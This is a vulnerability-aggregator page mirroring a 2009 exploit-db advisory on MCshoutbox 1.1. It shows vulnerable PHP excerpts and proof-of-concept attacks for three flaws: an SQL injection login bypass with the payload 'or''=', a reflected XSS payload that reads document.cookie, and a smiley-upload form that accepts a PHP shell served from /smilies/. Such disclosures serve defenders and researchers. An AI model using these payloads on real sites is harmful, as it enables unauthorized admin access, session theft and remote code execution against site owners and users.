Lucene search
+L

mcshoutbox 1.1 - SQL Injection / Cross-Site Scripting / shell

🗓️ 20 Jul 2009 00:00:00Reported by SirGodType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 36 Views

mcshoutbox 1.1 vulnerabilities - SQL Injection, XSS, Shell Uploa

Related
Code
ReporterTitlePublishedViews
Family
circl
Circl
CVE-2009-3714
20 Jul 200900:00
circl
circl
Circl
CVE-2009-3715
20 Jul 200900:00
circl
circl
Circl
CVE-2009-3716
20 Jul 200900:00
circl
cve
CVE
CVE-2009-3714
16 Oct 200916:00
cve
cve
CVE
CVE-2009-3715
16 Oct 200916:00
cve
cve
CVE
CVE-2009-3716
16 Oct 200916:00
cve
cvelist
Cvelist
CVE-2009-3714
16 Oct 200916:00
cvelist
cvelist
Cvelist
CVE-2009-3715
16 Oct 200916:00
cvelist
cvelist
Cvelist
CVE-2009-3716
16 Oct 200916:00
cvelist
euvd
EUVD
EUVD-2009-3687
7 Oct 202500:30
euvd
Rows per page
###########################################################################################
[+] MCshoutbox 1.1 (SQL/XSS/Shell) Multiple Remote Vulnerabilities
[+] Discovered By SirGod
[+] http://insecurity-ro.org
[+] http://h4cky0u.org
############################################################################################

Homepage : http://www.maniacomputer.com/dload/MCshoutbox_Download_Page.html

[+] SQL Injection Login Bypass

 - Note : magic_quotes_gpc = off

 - Vulnerable code in scr_login.php

----------------------------------------------------------------------------------------------------------------------------------------------------------------
$admin_name = trim($_REQUEST[ 'username' ]);
$admin_password = trim($_REQUEST[ 'password' ]);
 connect($host,$username,$password,$database);
$query = "SELECT * FROM admin_tbl WHERE admin_name = ''or''='' AND
admin_password = ''or''=''" ;
----------------------------------------------------------------------------------------------------------------------------------------------------------------

 - PoC

  URL : http://127.0.0.1/[path]/admin_login.php
  Username : 'or''='
  Password : 'or''='

[+] Cross-Site Scripting

 - Vulnerable code in admin_login.php

----------------------------------------------------------------------------------------------------------------------------------------------------------------
if(isset($loginerror)){ ?>
      <tr>
    <td colspan="2" align="center" style="font-size:18px;
color:#FFFFFF;" ><?echo $loginerror?></td>
----------------------------------------------------------------------------------------------------------------------------------------------------------------

 - PoC

     http://127.0.0.1/[path]/admin_login.php?loginerror=<script>alert(document.cookie)</script>


[+] Shell Upload

 - Note : The extension of the file isn't checked so we can upload our
evil file.

 - Vulnerable code in admin.php

----------------------------------------------------------------------------------------------------------------------------------------------------------------
if(isset($_POST['addsmilie'])){
                 $alt = $_POST['symbol'];
                $symbol = $_POST['symbol'];
                $img = $_FILES['image']['name'];
..............................................................................................................................................
				$uploadfile = $uploaddir . $_FILES['image']['name'];
..............................................................................................................................................
$upload = move_uploaded_file($_FILES['image']['tmp_name'], $uploadfile);
----------------------------------------------------------------------------------------------------------------------------------------------------------------

 - PoC

     URL : http://127.0.0.1/[path]/admin.php?mode=add
     Symbol Emoticon : anything
     Path to Smilie : yourshell.php

  - You will find you shell here

        http://127.0.0.1/[path]/smilies/yourshell.php

############################################################################################

# milw0rm.com [2009-07-20]

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation